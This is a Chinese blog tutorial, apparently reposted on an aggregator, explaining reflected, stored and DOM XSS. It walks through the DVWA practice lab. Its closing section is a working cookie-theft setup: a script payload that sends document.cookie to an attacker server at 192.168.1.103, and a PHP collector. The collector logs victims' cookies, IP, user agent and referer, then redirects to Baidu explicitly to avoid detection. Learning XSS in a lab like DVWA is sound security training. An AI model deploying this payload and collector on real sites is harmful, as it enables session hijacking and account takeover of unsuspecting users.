当前位置:   article > 正文

xss漏洞-DVWA跨站攻击盗取用户cookie值_利用“跨站脚本攻击”下的“反射型xss(get)”获得cookie。

利用“跨站脚本攻击”下的“反射型xss(get)”获得cookie。

程Kaedy.cn-www.kaedy.cn

XSS跨站脚本攻击介绍

跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style
Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS

XSS 攻击简介
  • 1

XSS 攻击通常指黑客通过往 Web 页面中插入恶意 Script 代码,当用户访问网页时恶意代码在用户的
浏览器中被执行,从而劫持用户浏览器窃取用户信息。
1、黑客加在特定 web 页面 index.html 中,加入 XSS 脚本。
2、用户访问 index.html,会加载 XSS 脚本
3、XSS 脚本把用户的会话 cookie 信息发给黑客
4、黑客使用用户的信息进行恶意操作
xss原理图像介绍

XSS跨站脚本攻击的三种类型

反射型XSS

  反射型 XSS
  • 1

反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然
后用户浏览器执行恶意代码触发 XSS 漏洞。
比如网站里面的小广告
诱导用户点击的

存储型XSS

存储型 XSS
  • 1

存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。
比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存储型 XSS。

DOM型XSS

 DOM 型 XSS
  • 1

DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因
为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型
DOM型漏洞我将它分成树状图来解释的话看下图:
程Kaedy

项目场景:DVWA靶场

我以提前搭建好DVWA靶场:
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的 PHP/MySQL
Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助 web 开发者更好的理解 web 应用安全防范的过程。


先将DVWA的等级换成low

在这里插入图片描述

反射型XSS演示

它类似一个留言板一样的,你输入的内容,会显示相应的信息
在这里插入图片描述
reflected 反射
点击 submit 按钮,查 URL是http://192.168.1.106:8001/vulnerabilities/xss_r/?name=%E7%A8%8Bkaedy# 由于我前面是输入了程 在URL里显示不出来中文 后面实验内容就用kaedy了!
在这里插入图片描述
查看源代码


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

根据回显信息判断出,显示的文本内容是 Hello n a m e 。 我 们 输 入 的 信 息 被 存 放 在 name。我们输入的信息被存放在 namename 变量中。
我们添加一条 JavaScript 代码获取 cookie

构造js获取cookie代码是

<script>
alert(document.cookie); #alert 弹出窗口,窗口中内容是 cookie
</script>
  • 1
  • 2
  • 3

或者

<script>alert(document.cookie);</script>#也是一样的
  • 1

将代码放入
在这里插入图片描述
就会弹出网站的cookie值
在这里插入图片描述

可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!


存储型 XSS 原理:

存储型 XSS 的优势在于恶意代码被存储到服务器上,比如我们在论坛发帖的过程中嵌入了 XSS 攻击 代码,当我们发布的帖子被用户浏览访问时就可以触发 XSS 代码。 一个站点,能写入并被执行,就可以被渗透!

在这里插入图片描述

刷新在这里插入图片描述
存储型 XSS 和反射型 XSS 的区别是:
反射型 XSS 只会执行一次脚本 , 2 存储型 XSS 每次访问这个页面都会执行脚本。因为 XSS 代码已经嵌入在了该 Web 站点当中,所以每次访问都会被执行。

每次刷新这个页面就会弹出cookie


实战盗取cookie:

先上实战拓扑图

在这里插入图片描述

在centos服务器上搭建web站点接收cookie

先启动apache服务
systemctl start apache
[root@VM-0-5-centos /]# cd /var/www/html
新建用户接受cookie值的php页面
[root@VM-0-5-centos html]# vi cheng.php

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
  • 1
  • 2
  • 3
  • 4

要建一个txt文件,用于接受cookie的txt文件

修改网页权限

root@kali:/var/www/html# chown www-data:www-data cheng.php
root@kali:/var/www/html# touch cookie.txt #创建存 cookie 的文件

root@kali:/var/www/html# chown www-data:www-data cookie.txt
root@kali:/var/www/html#
在这里插入图片描述服务重启
root@kali:/var/www/html# service apache2 start

在反射性XSS漏洞或者存储型里插入下面的代码就能实现跨站盗取cookie值
在这里插入图片描述
插入下面的这个代码

<script>document.location='http://192.168.1.103/cheng.php?cookie='+document.cookie</script>
  • 1

现在我来说下代码的含义
Payload 说明:
JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
document.location #用于跳转页面
http://192.168.1.103/cheng.php?cookie=’+document.cookie #传递 cookie 参数到cheng.php
从而将cookie值存到cookie.txt文件里
在这里插入图片描述
关于cheng.php
还可以改下

<?php

$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件

header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

下次我再更新如何使用盗取的cookie值,实现免密登录

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号